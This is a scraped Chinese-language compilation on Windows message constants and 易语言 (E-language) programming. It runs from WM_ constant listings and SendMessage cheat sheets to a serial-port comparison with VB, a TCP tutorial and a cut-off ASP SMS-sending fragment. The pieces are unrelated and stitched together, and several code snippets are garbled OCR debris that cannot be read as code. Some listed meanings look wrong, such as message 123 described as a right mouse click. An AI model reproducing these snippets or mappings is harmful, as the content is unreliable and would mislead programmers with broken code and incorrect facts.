256;//按下⼀个键WM_KEYUP = 257;//释放⼀个键WM_CHAR = 258;//按下某键,并已发出WM_KEYDOWN, WM_KEYUP消息WM_DEADCHAR = 259;当⽤translatemessage函数翻译WM_KEYUP消息时发送此消息给拥有焦点的窗⼝WM_SYSKEYDOWN = 260;当⽤户按住ALT键同时按下其它键时提交此消息给拥有焦点的窗⼝;WM_SYSKEYUP = 261;当⽤户释放⼀个键同时ALT 键还按着时提交此消息给拥有焦点的窗⼝WM_SYSCHAR = 262;当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后提交此消息给拥有焦点的窗⼝WM_SYSDEADCHAR = 263;当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后发送此消息给拥有焦点的窗⼝WM_KEYLAST = 264;WM_INITDIALOG = 272;在⼀个对话框程序被显⽰前发送此消息给它,通常⽤此消息初始化控件和执⾏其它任务WM_COMMAND = 273;当⽤户选择⼀条菜单命令项或当某个控件发送⼀条消息给它的⽗窗⼝,⼀个快捷键被翻译WM_SYSCOMMAND = 274;当⽤户选择窗⼝菜单的⼀条命令或当⽤户选择最⼤化或最⼩化时那个窗⼝会收到此消息WM_TIMER = 275; //发⽣了定时器事件WM_HSCROLL = 276;当⼀个窗⼝标准⽔平滚动条产⽣⼀个滚动事件时发送此消息给那个窗⼝,也发送给拥有它的控件WM_VSCROLL = 277;当⼀个窗⼝标准垂直滚动条产⽣⼀个滚动事件时发送此消息给那个窗⼝也,发送给拥有它的控件 WM_INITMENU = 278;当⼀个菜单将要被激活时发送此消息,它发⽣在⽤户菜单条中的某项或按下某个菜单键,它允许程序在显⽰前更改菜单WM_INITMENUPOPUP = 279;当⼀个下拉菜单或⼦菜单将要被激活时发送此消息,它允许程序在它显⽰前更改菜单,⽽不要改变全部WM_MENUSELECT = 287;当⽤户选择⼀条菜单项时发送此消息给菜单的所有者(⼀般是窗⼝)WM_MENUCHAR = 288;当菜单已被激活⽤户按下了某个键(不同于加速键),发送此消息给菜单的所有者;WM_ENTERIDLE = 289;当⼀个模态对话框或菜单进⼊空载状态时发送此消息给它的所有者,⼀个模态对话框或菜单进⼊空载状态就是在处理完⼀条或⼏条先前的消息后没有消息它的列队中等待WM_MENURBUTTONUP = 290;WM_MENUDRAG = 291;WM_MENUGETOBJECT = 292;WM_UNINITMENUPOPUP = 293;WM_MENUCOMMAND = 294;WM_CHANGEUISTATE = 295;WM_UPDATEUISTATE = 296;WM_QUERYUISTATE = 297;WM_CTLCOLORMSGBOX = 306;在windows绘制消息框前发送此消息给消息框的所有者窗⼝,通过响应这条消息,所有者窗⼝可以通过使⽤给定的相关显⽰设备的句柄来设置消息框的⽂本和背景颜⾊WM_CTLCOLOREDIT = 307;当⼀个编辑型控件将要被绘制时发送此消息给它的⽗窗⼝;通过响应这条消息,所有者窗⼝可以通过使⽤给定的相关显⽰设备的句柄来设置编辑框的⽂本和背景颜⾊WM_CTLCOLORLISTBOX = 308;当⼀个列表框控件将要被绘制前发送此消息给它的⽗窗⼝;通过响应这条消息,所有者窗⼝可以通过使⽤给定的相关显⽰设备的句柄来设置列表框的⽂本和背景颜⾊WM_CTLCOLORBTN = 309;当⼀个按钮控件将要被绘制时发送此消息给它的⽗窗⼝;通过响应这条消息,所有者窗⼝可以通过使⽤给定的相关显⽰设备的句柄来设置按纽的⽂本和背景颜⾊WM_CTLCOLORDLG = 310;当⼀个对话框控件将要被绘制前发送此消息给它的⽗窗⼝;通过响应这条消息,所有者窗⼝可以通过使⽤给定的相关显⽰设备的句柄来设置对话框的⽂本背景颜⾊WM_CTLCOLORSCROLLBAR= 311;当⼀个滚动条控件将要被绘制时发送此消息给它的⽗窗⼝;通过响应这条消息,所有者窗⼝可以通过使⽤给定的相关显⽰设备的句柄来设置滚动条的背景颜⾊WM_CTLCOLORSTATIC = 312;当⼀个静态控件将要被绘制时发送此消息给它的⽗窗⼝;通过响应这条消息,所有者窗⼝可以通过使⽤给定的相关显⽰设备的句柄来设置静态控件的⽂本和背景颜⾊WM_MOUSEFIRST = 512;WM_MOUSEMOVE = 512;// 移动⿏标WM_LBUTTONDOWN = 513;//按下⿏标左键WM_LBUTTONUP = 514;//释放⿏标左键WM_LBUTTONDBLCLK = 515;//双击⿏标左键WM_RBUTTONDOWN = 516;//按下⿏标右键WM_RBUTTONUP = 517;//释放⿏标右键WM_RBUTTONDBLCLK = 518;//双击⿏标右键WM_MBUTTONDOWN = 519;//按下⿏标中键WM_MBUTTONUP = 520;//释放⿏标中键WM_MBUTTONDBLCLK = 521;//双击⿏标中键WM_MOUSEWHEEL = 522;当⿏标轮⼦转动时发送此消息个当前有焦点的控件WM_MOUSELAST = 522;WM_PARENTNOTIFY = 528;当MDI⼦窗⼝被创建或被销毁,或⽤户按了⼀下⿏标键⽽光标在⼦窗⼝上时发送此消息给它的⽗窗⼝WM_ENTERMENULOOP = 529;发送此消息通知应⽤程序的主窗⼝that已经进⼊了菜单循环模式WM_EXITMENULOOP = 530;发送此消息通知应⽤程序的主窗⼝that已退出了菜单循环模式WM_NEXTMENU = 531;WM_SIZING = 532;当⽤户正在调整窗⼝⼤⼩时发送此消息给窗⼝;通过此消息应⽤程序可以监视窗⼝⼤⼩和位置也可以修改他们WM_CAPTURECHANGED = 533;发送此消息给窗⼝当它失去捕获的⿏标时;WM_MOVING = 534;当⽤户在移动窗⼝时发送此消息,通过此消息应⽤程序可以监视窗⼝⼤⼩和位置也可以修改他们;WM_POWERBROADCAST = 536;此消息发送给应⽤程序来通知它有关电源管理事件;WM_DEVICECHANGE = 537;当设备的硬件配置改变时发送此消息给应⽤程序或设备驱动程序WM_IME_STARTCOMPOSITION = 269;WM_IME_ENDCOMPOSITION = 270;WM_IME_COMPOSITION = 271;WM_IME_KEYLAST = 271;WM_IME_SETCONTEXT = 641;WM_IME_NOTIFY = 642;WM_IME_CONTROL = 643;WM_IME_COMPOSITIONFULL = 644;WM_IME_SELECT = 645;WM_IME_CHAR = 646;WM_IME_REQUEST = 648;WM_IME_KEYDOWN = 656;WM_IME_KEYUP = 657;WM_MDICREATE = 544;应⽤程序发送此消息给多⽂档的客户窗⼝来创建⼀个MDI ⼦窗⼝WM_MDIDESTROY = 545;应⽤程序发送此消息给多⽂档的客户窗⼝来关闭⼀个MDI ⼦窗⼝WM_MDIACTIVATE = 546;应⽤程序发送此消息给多⽂档的客户窗⼝通知客户窗⼝激活另⼀个MDI⼦窗⼝,当客户窗⼝收到此消息后,它发出WM_MDIACTIVE消息给MDI⼦窗⼝(未激活)激活它;WM_MDIRESTORE = 547;程序发送此消息给MDI客户窗⼝让⼦窗⼝从最⼤最⼩化恢复到原来⼤⼩WM_MDINEXT = 548;程序发送此消息给MDI客户窗⼝激活下⼀个或前⼀个窗⼝WM_MDIMAXIMIZE = 549;程序发送此消息给MDI客户窗⼝来最⼤化⼀个MDI⼦窗⼝;WM_MDITILE = 550;程序发送此消息给MDI客户窗⼝以平铺⽅式重新排列所有MDI⼦窗⼝WM_MDICASCADE = 551;程序发送此消息给MDI客户窗⼝以层叠⽅式重新排列所有MDI⼦窗⼝WM_MDIICONARRANGE = 552;程序发送此消息给MDI客户窗⼝重新排列所有最⼩化的MDI⼦窗⼝WM_MDIGETACTIVE = 553;程序发送此消息给MDI客户窗⼝来找到激活的⼦窗⼝的句柄WM_MDISETMENU = 560;程序发送此消息给MDI客户窗⼝⽤MDI菜单代替⼦窗⼝的菜单WM_ENTERSIZEMOVE = 561;WM_EXITSIZEMOVE = 562;WM_DROPFILES = 563;WM_MDIREFRESHMENU = 564;WM_MOUSEHOVER = 673;WM_MOUSELEAVE = 675;WM_CUT = 768;程序发送此消息给⼀个编辑框或combobox来删除当前选择的⽂本WM_COPY = 769;程序发送此消息给⼀个编辑框或combobox来复制当前选择的⽂本到剪贴板WM_PASTE = 770;程序发送此消息给editcontrol或combobox从剪贴板中得到数据WM_CLEAR = 771;程序发送此消息给editcontrol或combobox清除当前选择的内容;WM_UNDO = 772;程序发送此消息给editcontrol或combobox撤消最后⼀次操作WM_RENDERFORMAT = 773;WM_DESTROYCLIPBOARD = 775;当调⽤ENPTYCLIPBOARD函数时发送此消息给剪贴板的所有者WM_DRAWCLIPBOARD = 776;当剪贴板的内容变化时发送此消息给剪贴板观察链的第⼀个窗⼝;它允许⽤剪贴板观察窗⼝来显⽰剪贴板的新内容;WM_PAINTCLIPBOARD = 777;当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗⼝的客户区需要重画;WM_VSCROLLCLIPBOARD = 778;WM_SIZECLIPBOARD = 779;当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗⼝的客户区域的⼤⼩已经改变是此消息通过剪贴板观察窗⼝发送给剪贴板的所有者;WM_ASKCBFORMATNAME = 780;通过剪贴板观察窗⼝发送此消息给剪贴板的所有者来请求⼀个CF_OWNERDISPLAY格式的剪贴板的名字WM_CHANGECBCHAIN = 781;当⼀个窗⼝从剪贴板观察链中移去时发送此消息给剪贴板观察链的第⼀个窗⼝;WM_HSCROLLCLIPBOARD = 782;此消息通过⼀个剪贴板观察窗⼝发送给剪贴板的所有者;它发⽣在当剪贴板包含CFOWNERDISPALY格式的数据并且有个事件在剪贴板观察窗的⽔平滚动条上;所有者应滚动剪贴板图象并更新滚动条的值;WM_QUERYNEWPALETTE = 783;此消息发送给将要收到焦点的窗⼝,此消息能使窗⼝在收到焦点时同时有机会实现他的逻辑调⾊板WM_PALETTEISCHANGING= 784;当⼀个应⽤程序正要实现它的逻辑调⾊板时发此消息通知所有的应⽤程序WM_PALETTECHANGED = 785;此消息在⼀个拥有焦点的窗⼝实现它的逻辑调⾊板后发送此消息给所有顶级并重叠的窗⼝,以此来改变系统调⾊板WM_HOTKEY = 786;当⽤户按下由REGISTERHOTKEY函数注册的热键时提交此消息WM_PRINT = 791;应⽤程序发送此消息仅当WINDOWS或其它应⽤程序发出⼀个请求要求绘制⼀个应⽤程序的⼀部分;WM_PRINTCLIENT = 792;WM_HANDHELDFIRST = 856;WM_HANDHELDLAST = 863;WM_PENWINFIRST = 896;WM_PENWINLAST = 911;WM_COALESCE_FIRST = 912;WM_COALESCE_LAST = 927;WM_DDE_FIRST = 992;WM_DDE_INITIATE = WM_DDE_FIRST + 0;⼀个DDE客户程序提交此消息开始⼀个与服务器程序的会话来响应那个指定的程序和主题名;WM_DDE_TERMINATE = WM_DDE_FIRST + 1;⼀个DDE应⽤程序(⽆论是客户还是服务器)提交此消息来终⽌⼀个会话;WM_DDE_ADVISE = WM_DDE_FIRST + 2;⼀个DDE客户程序提交此消息给⼀个DDE服务程序来请求服务器每当数据项改变时更新它WM_DDE_UNADVISE = WM_DDE_FIRST + 3;⼀个DDE客户程序通过此消息通知⼀个DDE服务程序不更新指定的项或⼀个特殊的剪贴板格式的项WM_DDE_ACK = WM_DDE_FIRST + 4;此消息通知⼀个DDE(动态数据交换)程序已收到并正在处理WM_DDE_POKE, WM_DDE_EXECUTE,WM_DDE_DATA, WM_DDE_ADVISE, WM_DDE_UNADVISE, or WM_DDE_INITIAT消息WM_DDE_DATA = WM_DDE_FIRST + 5;⼀个DDE服务程序提交此消息给DDE客户程序来传递个⼀数据项给客户或通知客户的⼀条可⽤数据项WM_DDE_REQUEST = WM_DDE_FIRST + 6;⼀个DDE客户程序提交此消息给⼀个DDE服务程序来请求⼀个数据项的值;WM_DDE_POKE = WM_DDE_FIRST + 7;⼀个DDE客户程序提交此消息给⼀个DDE服务程序,客户使⽤此消息来请求服务器接收⼀个未经同意的数据项;服务器通过答复WM_DDE_ACK消息提⽰是否它接收这个数据项;WM_DDE_EXECUTE = WM_DDE_FIRST + 8;⼀个DDE客户程序提交此消息给⼀个DDE服务程序来发送⼀个字符串给服务器让它象串⾏命令⼀样被处理,服务器通过提交WM_DDE_ACK消息来作回应;WM_DDE_LAST = WM_DDE_FIRST + 8;WM_APP = 32768;WM_USER = 1024;此消息能帮助应⽤程序⾃定义私有消息;通知消息(Notification message)是指这样⼀种消息,⼀个窗⼝内的⼦控件发⽣了⼀些事情,需要通知⽗窗⼝。
易语言代码大全
1. 信息框(“”)双引号内填你想出现的文字,点击按钮即可出现信息框,上有你想出现的文字。
2. 编辑框1.内容=“”在双引号内输入文字,点击按钮即可在编辑框内出现你所输入的文字。
3.判断开始(组合框1.现行选中项 =0)编辑框3.内容=到文本(到数值(编辑框1.内容)+到数值(编辑框2.内容)) .判断(组合框1.现行选中项=1)编辑框3.内容=到文本(到数值(编辑框1.内容)—到数值(编辑框2.内容)) .判断(组合框1.现行选中项=2)编辑框3.内容=到文本(到数值(编辑框1.内容)X 到数值(编辑框2.内容)) .判断(组合框1.现行选中项 =3)编辑框3.内容=到文本(到数值(编辑框1.内容)-到数值(编辑框2.内容))「•计次循环首血7碎:编辑框1,加入文本圉」文本Ci ) +嫩行符) I 一计次循环屋0厂卜计次循评首③)少动窗口 “标题=^Loading":厂卜计次循环首直)::动窗口一标题=上动窗口.标题+ ”::延迟(300)*•r 赛等待时间:300,L-计:欠循环尾0I 'I I「计次循环尾0 载入⑥口 ,真)■4Loading 效果4.通用对话&打开0编辑框1内容=谨用对话框1.文件容mil c编辑框1.內容,,,);+信島框严呵呵,if E e asy" j 0,)5.快速打开程序的易程序代码。
置趣机埶种子〔〕品动斎口.标题=到文本收随机数(1. 9999999))鶴文帝测耳框1.地址-M&L.内書时¥牺时钟周期=到数情騙辑框+时一时钟周期=6.快速刷新网站易程序代码编辑框R内客=剽文峦厦栾逗算侄啜直螂旌内劄,至檄值斷弭症内客以斑名类里静帝删备注+ + X = I + 10DX = ;<+ ]逋回(X)7.一个简易的定义运算的代码。
欢迎您的下载,资料仅供参考!致力为企业和个人提供合同协议,策划案计划书,学习资料等等打造全网一站式需求。
易语言 sendmessage lparam中用法
易语言 sendmessage lparam中用法易语言是一种简单易学的编程语言,广泛应用于Windows操作系统下的软件开发领域。
其中,sendmessage函数是易语言中用来向窗口发送消息的函数之一。
而lparam参数则是sendmessage函数中的一个关键参数,用于传递额外的消息参数。
在易语言中,使用sendmessage函数发送消息可以实现与窗口的交互,如发送指令、获取窗口状态等操作。
而lparam参数则具有多种用途,常用的包括传递一个整数值、一个指针或者一个结构体。
通过灵活地使用不同的lparam值,我们可以实现各种不同的功能。
一种常见的用法是,使用lparam参数传递一个整数值作为消息的参数。
在接收方窗口的消息处理函数中,可以通过解析lparam参数的值来执行相应的操作。
例如,我们可以定义一个消息常量,使用它来表示某个特定的操作。
然后在发送消息时,将这个常量值作为lparam参数传递给接收方窗口。
接收方窗口在处理这条消息时,就可以根据收到的lparam值执行相应的操作。
另一种常见的用法是,使用lparam参数传递一个指针。
在发送方,我们可以将一个指向数据或结构体的指针传递给lparam参数。
接收方窗口在接收到消息后,可以通过解析lparam参数中的指针,获取到发送方传递过来的数据,从而进行后续的处理。
除了上述用法,lparam参数还可以用于传递其他各种类型的数据,例如一个结构体或者一个字符串。
根据具体的需求,我们可以选择合适的数据类型,并将其传递给lparam参数,以满足任务的要求。
总的来说,易语言中的sendmessage函数的lparam参数是一个非常重要的参数,它可以用于传递额外的消息参数,从而实现与窗口的交互。
通过合理地使用lparam参数,我们可以完成各种任务,实现与窗口的高效通信。
易语言和vb语言端口发送数据评测
易语言和vb语言端口控制优缺点作者:苏建伟郑州市岳村镇金利煤业集团易语言,编程简单,易学。
可是存在很多不足之处。
比如:端口操作控件。
不能发送数组和变量。
只能发送字节集。
和字符。
它没有发送和接收缓冲区。
每一个字节都产生中断,你只能在字节中断里对接收的字符和字节集进行累加、集中、识别和处理。
但是这个编程块不能太大,如果程序太大,占用时间太长,第二个字符到来之前没有处理完,就会丢失第二个字符的接收。
更要命的是:易语言端口组件,在每次发送完成后,必须接收返回数据,不然二次发送数据时,程序就会崩溃、死机。
也就是,每次发送数据,我们不要返回值的情况下,要想二次发送数据,必须让端口关闭300毫秒,再启动,就可以从新发送数据。
可是在工业监控系统里,不允许端口停止,所以用易语言编写单片机上位机程序,不太实用。
端口1.启动()端口1.发送数据 (字节集1)端口1.停止()‘端口停止一下延时(300)‘延时端口1.启动()‘重新启动端口1.发送数据 (字节集2) ‘二次发送数据而在vb语言中用mscomm控件Dim 数组1 as byteDim 数组2 as byteDim 数组3 as byteDim 接收数组(7) as bytemscomm1. setting =“9600,n,8,1”mPort=1mscomm。
RThreshold= 8当然这个部分你可以给字节集数组赋值,也可以在程序中进行赋值。
你的调节值,就是对单片机控制调节的数据和参数。
MSComm1.PortOpen = True‘启动端口Mscomm1.output=数组1 ‘Mscomm1.output=数组2Mscomm1.output=数组3只要接收控件处理速度足够快,你可以连续发送数据,16进制数。
速度快,比易语言强的太多了。
当发生回传数据中断时,你可以一次性取出一个数组的数据,非常使用于工业自动控制。
在中断函数里接收数组=mscomm1.input比如:速度=接收数组(0)方向=接收数组(1)温度=接收数组(2)俯冲电机开=接收数组(3)分料机开停传感器=接收数组(4)等等当然在中断函数里要写,错误处理语句。
易语言WIN消息使用
【易语言】WIN消息大全1、窗口最大化===发送信息(274,61488,0)‘如果还是启动窗口要加上窗口名称,如:窗口1.发送信息()2、改变输入法===发送信息(8,0,0)例如:编辑框.发送信息(258,#A健,5)在编辑框输入5个A3、移动控件控件.发送信息(274,61458,0)控件.发送信息(161,2,0)4、调整控件调整左边:控件.发送信息(274,61441,0)调整右边:控件.发送信息(274,61442,0)调整顶边:控件.发送信息(274,61443,0)左上角调整:控件.发送信息(274,61444,0)右上角调整:控件.发送信息(274,61445,0)调整底部控件.发送信息(274,61446,0)左下角调整:控件.发送信息(274,61447,0)右下角调整:控件.发送信息(274,61448,0)4、控件最大化控件.发送信息(274,61488,0)5、控件最小化控件.发送信息(274,61473,0)6、关闭控件控件.发送信息(16,0,0)7、单击鼠标左键控件.发送信息(513,0,0)8、鼠标带问号(再次单击问号消失)发送信息(274,61836,0)9、清除窗口标题控件.发送信息(12,0,0)10、复制编辑框.发送信息(769,0,0)11、粘贴编辑框.发送信息(770,0,0)12、全选编辑框.发送信息(177,0,-1)13、清空内容编辑框.发送信息(12,1,0)14、按钮单击发送消息(发送按钮句柄,245,0,0)15、删除控件.发送信息(768,0,0)16、撤销控件.发送信息(772,0,0)17、剪切控件.发送信息(771,0,0)18、退出控件.发送信息(1,0,0)19、获得焦点控件.发送信息(7,0,0)20、失去焦点控件.发送信息(8,0,0)21、结束控件.发送信息(25,0,0)22、单击鼠标右键控件.发送信息(123,0,0)23、取消全选控件.发送信息(177,0,0)24、1组合框弹出列表组合框.发送信息(155,1,0)25、发送文本(Dll命令。
易语言tcp协议教程
易语言tcp协议教程易语言TCP协议教程TCP(Transmission Control Protocol)是一种面向连接的、可靠的、基于字节流的传输层通信协议。
在网络编程中,TCP协议被广泛应用于实现可靠的数据传输。
易语言作为一种简单易学的编程语言,也提供了对TCP协议的支持,使得开发者可以利用易语言进行网络编程,实现网络通信功能。
在本教程中,我们将介绍如何在易语言中使用TCP协议进行网络编程。
首先,我们将讨论TCP协议的基本概念和特点,然后介绍在易语言中如何创建TCP连接、发送数据和接收数据。
最后,我们将通过一个简单的示例程序来演示TCP协议的使用。
一、TCP协议的基本概念和特点TCP协议是一种面向连接的协议,它在通信双方建立连接之后才能进行数据传输。
与UDP协议不同,TCP协议提供了可靠的数据传输机制,能够保证数据的完整性和顺序性。
此外,TCP协议还具有流量控制和拥塞控制的功能,能够有效地调节数据传输速率,保证网络的稳定性和可靠性。
二、在易语言中创建TCP连接在易语言中,可以使用Socket组件来创建TCP连接。
首先需要在程序中引入Socket组件,并创建一个Socket对象。
然后通过调用Socket对象的Connect方法来连接服务器,指定服务器的IP地址和端口号。
连接成功之后,就可以通过Socket对象来发送和接收数据了。
三、在易语言中发送数据和接收数据在建立了TCP连接之后,就可以通过Socket对象来发送数据和接收数据了。
可以通过调用Socket对象的Send方法来发送数据,将要发送的数据作为参数传递给Send方法即可。
而接收数据则可以通过调用Socket对象的Receive方法来实现,Receive方法会返回接收到的数据。
四、示例程序演示下面是一个简单的示例程序,演示了如何在易语言中使用TCP 协议进行网络通信。
在这个示例程序中,我们将创建一个服务端程序和一个客户端程序,通过TCP协议进行数据交换。
易语言数字指令编程大全(发送信息代码数据集合)
易语言数字指令编程大全(发送信息代码数据集合)移动控件控件.发送信息(274,61458,0)控件.发送信息(161,2,0)1.控件选中并鼠标显示四向箭头:控件.发送信息(274,61440,0)控件.发送信息(274,61450,0)控件最大化:控件.发送信息(274,61488,0)参数2在61488-61503都有效移动控件:控件.发送信息(274,61449,0)2.调整控件尺寸调整左边:控件.发送信息(274,61441,0)调整右边:控件.发送信息(274,61442,0)调整顶边:控件.发送信息(274,61451,0)控件.发送信息(274,61443,0)左上角调整:控件.发送信息(274,61444,0)右上角调整:控件.发送信息(274,61445,0)调整底部:控件.发送信息(274,61446,0)左下角调整:控件.发送信息(274,61447,0)右下角调整:控件.发送信息(274,61448,0)4.控件最小化控件.发送信息(274,61472,0)参数2在61472-61487都有效5.鼠标带问号(再次单击问号消失)发送信息(274,61836,0)参数2在61824-61839都有效6.关闭控件控件.发送信息(16,0,0)7.单击鼠标左键控件.发送信息(513,0,0)8.清除窗口标题控件.发送信息(12,0,0)9.复制.子程序复制编辑框_编辑框.发送信息 (177, 0, -1) ’ 全选编辑框.发送信息(769,0,0) ’ 复制编辑框.发送信息(177, 0, 0) ’ 选择0个10.粘帖编辑框.发送信息(770,0,0)11.全选编辑框.发送信息(177,0,-1)12.清空内容编辑框.发送信息(12,1,0)13.按钮单击发送消息(发送按钮句柄,245,0,0)14.删除控件.发送信息(768,0,0)15.剪切控件.发送信息(771,0,0)16.撤销控件.发送信息(772,0,0)17.退出控件.发送信息(1,0,0)18.获得焦点控件.发送信息(7,0,0)19.失去焦点控件.发送信息(8,0,0)20.结束控件.发送信息(25,0,0)21.单击鼠标右键控件.发送信息(123,0,0)22.取消全选编辑框.发送信息(177,0,0)23.发送文本(DLL命令。
易语言通用喊话源码
易语言通用喊话源码易语言是一种面向过程的编程语言,它简单易学,适合初学者入门。
在易语言中,通用喊话源码是一种常见的功能,它可以用于游戏、聊天软件等场景中,实现批量发送消息的功能。
下面我将介绍一个简单的易语言通用喊话源码。
首先,我们需要创建一个新的易语言项目。
在项目中,我们需要使用到两个控件,一个是按钮控件,用于触发发送消息的动作;另一个是文本框控件,用于输入要发送的消息内容。
接下来,我们需要编写代码来实现通用喊话的功能。
首先,我们需要定义一个变量来存储要发送的消息内容,可以使用字符串类型的变量来存储。
代码如下:```varmsg: string;```然后,我们需要在按钮的点击事件中编写代码,来获取文本框中输入的消息内容,并发送出去。
代码如下:```procedure Button1_OnClick(Sender: variant);beginmsg := TextBox1.Text; // 获取文本框中的消息内容// 在这里编写发送消息的代码,可以使用系统提供的发送消息函数或者调用其他模块的发送消息函数end;```在实际的应用中,我们可以根据具体的需求来编写发送消息的代码。
例如,在游戏中,我们可以调用游戏客户端提供的发送消息函数,将消息发送到游戏中;在聊天软件中,我们可以调用聊天软件的发送消息函数,将消息发送给指定的联系人。
除了发送消息的功能,我们还可以添加一些其他的功能,例如添加一个复选框控件,用于选择是否发送给所有人。
代码如下:```varmsg: string;sendToAll: boolean;procedure Button1_OnClick(Sender: variant);beginmsg := TextBox1.Text; // 获取文本框中的消息内容if CheckBox1.Checked thensendToAll := trueelsesendToAll := false;// 在这里编写发送消息的代码,根据sendToAll的值来决定发送给所有人还是发送给指定的联系人end;```通过添加复选框控件,我们可以灵活地选择发送消息的对象,增加了程序的可扩展性。
易语言post写法 -回复
易语言post写法-回复易语言是一种可视化的编程语言,由中国互联网界著名人物邹欣凌教授于2003年开发。
它的特点是简洁易学,适合初学者入门。
本文将一步一步地介绍易语言中的post写法,以帮助读者更好地理解和运用这一功能。
首先,我们需要明确post的含义。
在计算机领域,post通常指的是向服务器发送数据的一种请求方式。
与此相对应的是get请求,它主要用于获取服务器上的数据。
在易语言中,我们可以使用post方法将数据发送给服务器,以实现数据交互和通信。
一、建立与服务器的连接要使用post方法,我们首先需要建立与服务器的连接。
在易语言中,可以通过Http.Socket对象来实现。
首先,我们需要创建一个Http.Socket 对象,然后使用Set项方法设置服务器的地址和端口号,并调用Connect 方法连接到服务器。
下面是一个示例代码:变量Http1 : Http.Socket..创建对象Http1Http1 -> Set项("地址","Http1 -> Set项("端口",80)Http1 -> Connect()这样,我们就成功地建立了与服务器的连接。
二、设置请求头在向服务器发送post请求时,一般需要设置请求头。
请求头包含了一些关于请求的信息,比如请求的方法、数据的格式等。
在易语言中,我们可以使用Set项方法来设置请求头。
下面是一个示例代码:..Http1 -> Set项("头信息","Content-Type:application/x-www-form-urlencoded")Http1 -> Set项("头信息","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)")..可以根据自己的需要设置请求头的内容。
易语言代码大全
1.信息框(“")双引号内填你想消灭的文字,点击按钮即可消灭信息框,上有你想消灭的文字。
2 .编辑框1.内容=在双引号内输入文字,点击按钮即可在编辑框内消灭你所输入的文字。
3.推断开头(组合框1 .现行选中项=0)编辑框3.内容=至歧本(到数值(编辑框1.内容)+至U数值(编辑框2.内容)).推断(组合框1 .现行选中项=1)编辑框3.内容=至U文本(到数值(编辑框1.内容)一至U数值(编辑框2.内容)).推断(组合框1 .现行选中项=2)编辑框3.内容=到文本(到数值(编辑框1.内容)X到数值(编辑框2.内容)).推断(组合框1 .现行选中项=3)编辑框3.内容=到文本(到数值(编辑框1.内容)4-到数值(编辑框2.内容))窗口程序集勇动窗口:计次循环首GO, a)”:端辑框1 .加入文本伊]文本(角)+嫩行符),••计次循环尾0:f计次循环首3 ): 勇动窗口 .标题="Loading”::f计次循环首⑹):: 勇动窗口.标题=勇动窗口.标题+ ”::延退(300):: ※等待时间:300:•计次循环尾0III:••计次循环尾04. 载入口1,,直)Loading 效果通用对话框1 .打开()编辑框1.内答=通用对话框1.文件名执行C编辑框1 .内容… )S5.快速打开程序的易程序代码。
置随机数种子0勇动窗口标题=到文本随机数(1, 9999999))超文本浏览框1.地址=1时钟2.时钟周期=到数值2206.快速刷新网站易程序代码编辑框3.内谷=到文本(1杂运算存I]X 双精度小数型X =A X BX =X + 1[+ X =X 4- 100X =X + 1返回00-个简易的定义运算的代码。
易语言post写法 -回复
易语言post写法-回复易语言是一种简单易学的编程语言,它被广泛应用于中国的软件开发领域。
本文将以易语言的post写法为主题,介绍如何在易语言中使用post 方法发送HTTP请求。
首先,我们需要了解什么是HTTP请求。
HTTP是一种用于传输超文本数据的协议,它是互联网上应用最为广泛的一种网络协议。
HTTP请求与服务器进行交互,通过发送请求获取服务器上的资源或提交数据。
在易语言中,发送HTTP请求可以使用系统函数winhttp的post方法。
该方法可以指定URL、请求头和请求体,向特定的服务器发送POST 请求,并返回服务器返回的数据。
首先,我们需要引入winhttp模块,以便使用其中的post方法。
在易语言的代码中,可以使用如下语句引入:e引入模块winhttp接下来,我们可以声明一个变量来存储服务器返回的数据。
在易语言中,可以使用如下语句声明一个变量:e变量接收数据字符串型然后,我们需要设置请求的URL、请求头和请求体。
在易语言中,可以使用如下语句来设置:e设置post.S("URL", "设置post.S("Content-Type","application/x-www-form-urlencoded")设置post.S("Body", "key1=value1&key2=value2")上述代码中,设置了URL为接下来,我们可以使用post方法发送HTTP请求,并接收服务器返回的数据。
在易语言中,可以使用如下语句来发送请求:e执行post.F执行上述代码后,服务器将会返回数据,并存储在之前声明的接收数据变量中。
最后,我们可以通过打印输出或者其他操作使用返回的数据。
在易语言中,可以使用如下语句来打印输出返回的数据:e窗口置标题(接收数据)上述代码将会把接收数据的内容设置为窗口的标题,从而将数据打印输出到窗口。
易语言实现自动发送QQ信息的代码
易语⾔实现⾃动发送QQ信息的代码全局变量表.版本 2.全局变量局_句柄, 整数型.全局变量 b, 整数型QQ⾃动发送信息此功能需要加载精易模块5.6.版本 2.⽀持库 spec.⽀持库 eAPI.程序集窗⼝程序集_启动窗⼝.程序集变量逻辑, 逻辑型.⼦程序 _暂停按钮_被单击时钟1.时钟周期= 0.⼦程序 _好友按钮_被单击逻辑=假时钟1.时钟周期= 1500.⼦程序功能_取句柄, 整数型.参数名称, ⽂本型局_句柄=窗⼝_取句柄 (, , “TXGuiFoundation”, 名称)返回 (局_句柄).⼦程序 _时钟1_周期事件.判断开始 (逻辑=假)好友 ().默认群友 ().判断结束.⼦程序群友功能_取句柄 (号码编辑框.内容)b =局_句柄⿏标_单击 (取⿏标⽔平位置 (), 取⿏标垂直位置 ())窗⼝_限制尺⼨ (b, 293, 540, , )延迟 (200)键盘_消息 (b, #下光标键, 3, )延迟 (200)键盘_消息 (b, #回车键, 3, )延迟 (200)模拟按键 (#Ctrl键, #V键, )延迟 (200)模拟按键 (#回车键, , )延迟 (200)模拟按键 (#Ctrl键, #W键, ).⼦程序好友功能_取句柄 (“QQ”)b =局_句柄窗⼝_限制尺⼨ (b, 293, 540, , )延迟 (200)键盘_消息 (b, #下光标键, 3, )延迟 (200)键盘_消息 (b, #回车键, 3, )延迟 (200)模拟按键 (#Ctrl键, #V键, )延迟 (200)模拟按键 (#回车键, , )延迟 (200)模拟按键 (#Ctrl键, #W键, ).⼦程序 _QQ群按钮_被单击逻辑=真时钟1.时钟周期= 1500运⾏结果:总结以上就是这篇⽂章的全部内容了,希望本⽂的内容对⼤家的学习或者⼯作具有⼀定的参考学习价值,谢谢⼤家对的⽀持。
如果你想了解更多相关内容请查看下⾯相关链接。
发送手机短信源代码2
<td height="30" colspan="2" align="center" bgcolor="#FFFFFF"><input type=submit value="发送短信" id=submit1 name=submit1></td>
</tr>
</table><br>
Else '发送失败
Response.Write "<div><br>返回状态码:"&status&" 发送状态:发送失败! <a href=""javascript:history.back();"">返回发送页面</a></div>"
